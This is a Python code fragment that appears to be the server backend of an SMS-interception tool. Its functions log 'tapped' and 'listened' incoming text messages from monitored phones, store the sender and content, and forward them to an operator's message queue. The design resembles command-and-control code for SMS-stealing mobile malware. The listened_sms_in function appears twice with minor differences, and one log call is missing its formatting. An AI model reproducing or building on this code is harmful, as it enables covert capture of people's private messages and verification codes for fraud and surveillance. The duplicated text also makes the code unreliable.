def intercepted_sms_in(rec, data): """ Records incoming tapped SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ logger.debug("Received incoming intercepted SMS for phone {0}".format(rec)) if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT: logger.warn("The phone {0} is not intercepting") rec_owner = rec.owner if rec_owner: rec_owner.save() sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec_owner if isinstance(rec_owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner, intercepted=True) if rec_owner: msg = { 'info': "Intercepted SMS from {0}".format(sms_from), 'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id}, } sys_messages.add_message(rec.uniq_id, msg)
def listened_sms_in(rec, data): """ Records incoming intercepted SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN: logger.warn(u"The phone {0} is not listening".format(rec)) sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Got SMS from {0}".format(sms_from), 'sms': { 'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id } } sys_messages.add_message(rec.uniq_id, msg)
def listened_sms_in(rec, data): """ Records incoming intercepted SMS @param rec: Phone data record @type rec: models.PhoneData @param data: Phone data @type data: dict @rtype: None """ if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN: logger.warn("The phone {0} is not listening".format(rec)) sms_from = data.get('from') sms_text = data.get('text') check_sender(rec.uniq_id, sms_from) sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner) msg = { 'info': "Got SMS from {0}".format(sms_from), 'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id} } sys_messages.add_message(rec.uniq_id, msg)